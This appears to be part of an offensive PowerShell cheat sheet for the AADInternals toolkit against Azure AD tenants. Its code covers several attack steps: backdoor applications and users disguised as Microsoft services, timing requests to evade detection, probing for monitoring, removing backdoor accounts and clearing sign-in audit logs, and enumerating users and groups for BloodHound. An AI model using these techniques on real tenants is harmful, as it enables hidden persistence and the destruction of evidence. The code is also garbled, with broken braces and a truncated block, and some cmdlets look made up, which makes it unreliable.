Evasion Techniques

Stealth Operations

# Use legitimate application names
$stealthApp = New-AADIntApplication -AccessToken $accessToken -DisplayName "Microsoft Office 365" -RequiredResourceAccess $permissions

# Mimic legitimate service accounts
$stealthUser = New-AADIntUser -AccessToken $accessToken -UserPrincipalName "o365sync@company.com" -DisplayName "Office 365 Sync Service"

# Use existing application IDs
$accessToken = Get-AADIntAccessTokenForAADGraph -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" -ClientSecret $secret  # Graph Explorer

Rate Limiting and Throttling

# Implement delays between requests
function Invoke-AADIntWithDelay \\\\{
    param($Command, $Delay = 1)

    & $Command
    Start-Sleep -Seconds $Delay
\\\\}

# Randomize request timing
$users = Get-AADIntUsers -AccessToken $accessToken
foreach ($user in $users) \\\\{
    $delay = Get-Random -Minimum 1 -Maximum 5
    Start-Sleep -Seconds $delay
    $groups = Get-AADIntUserGroups -AccessToken $accessToken -UserPrincipalName $user.userPrincipalName
\\\\}

Log Evasion

# Use service principal instead of user account
$servicePrincipalToken = Get-AADIntAccessTokenForAADGraph -ClientId $clientId -ClientSecret $clientSecret -TenantId $tenantId

# Perform actions during business hours
$currentHour = (Get-Date).Hour
if ($currentHour -ge 9 -and $currentHour -le 17) \\\\{
    # Perform stealthy operations
\\\\}

# Use legitimate IP ranges
# Ensure operations are performed from expected geographic locations

Defensive Evasion

Anti-Detection Measures

# Check for monitoring
$auditLogs = Get-AADIntAuditLogs -AccessToken $accessToken -Filter "activityDisplayName eq 'Add application'"

# Verify current permissions
$currentPerms = Get-AADIntCurrentUserPermissions -AccessToken $accessToken

# Check for Conditional Access policies
$caPolicies = Get-AADIntConditionalAccessPolicies -AccessToken $accessToken

# Monitor for security alerts
$securityAlerts = Get-AADIntSecurityAlerts -AccessToken $accessToken

Cleanup Operations

# Remove created applications
Remove-AADIntApplication -AccessToken $accessToken -ApplicationId $backdoorApp.appId

# Remove created users
Remove-AADIntUser -AccessToken $accessToken -UserPrincipalName "backdoor@company.com"

# Remove role assignments
Remove-AADIntUserFromRole -AccessToken $accessToken -UserPrincipalName "user@company.com" -RoleName "Global Administrator"

# Clear audit logs (if possible)
Clear-AADIntAuditLogs -AccessToken $accessToken -LogType "SignInLogs"

Troubleshooting

Authentication Issues

# Debug authentication
$DebugPreference = "Continue"
$accessToken = Get-AADIntAccessTokenForAADGraph -Credentials $cred

# Check token validity
$tokenInfo = Read-AADIntAccessToken -AccessToken $accessToken
$tokenInfo.exp  # Check expiration

# Refresh expired token
$newToken = Get-AADIntAccessTokenForAADGraph -RefreshToken $refreshToken

Permission Issues

# Check current permissions
$permissions = Get-AADIntCurrentUserPermissions -AccessToken $accessToken

# Test specific permission
Test-AADIntPermission -AccessToken $accessToken -Permission "User.Read.All"

# Get required permissions for command
Get-AADIntRequiredPermissions -Command "Get-AADIntUsers"

API Limitations

# Handle rate limiting
try \\\\{
    $users = Get-AADIntUsers -AccessToken $accessToken
\\\\}
catch \\\\{
    if ($_.Exception.Message -like "*throttled*") \\\\{
        Start-Sleep -Seconds 60
        $users = Get-AADIntUsers -AccessToken $accessToken
    \\\\}
\\\\}

# Use pagination for large datasets
$users = @()
$skip = 0
do \\\\{
    $batch = Get-AADIntUsers -AccessToken $accessToken -Top 100 -Skip $skip
    $users += $batch
    $skip += 100
\\\\} while ($batch.Count -eq 100)

Integration with Other Tools

BloodHound Integration

# Export data for BloodHound
$users = Get-AADIntUsers -AccessToken $accessToken
$groups = Get-AADIntGroups -AccessToken $accessToken

# Convert to BloodHound format
$bloodhoundData = @\\\\{

        @\\\\{
            ObjectIdentifier = $_.id
            Properties = @\\\\{
                name = $_.userPrincipalName

    \\\\}
\\\\}
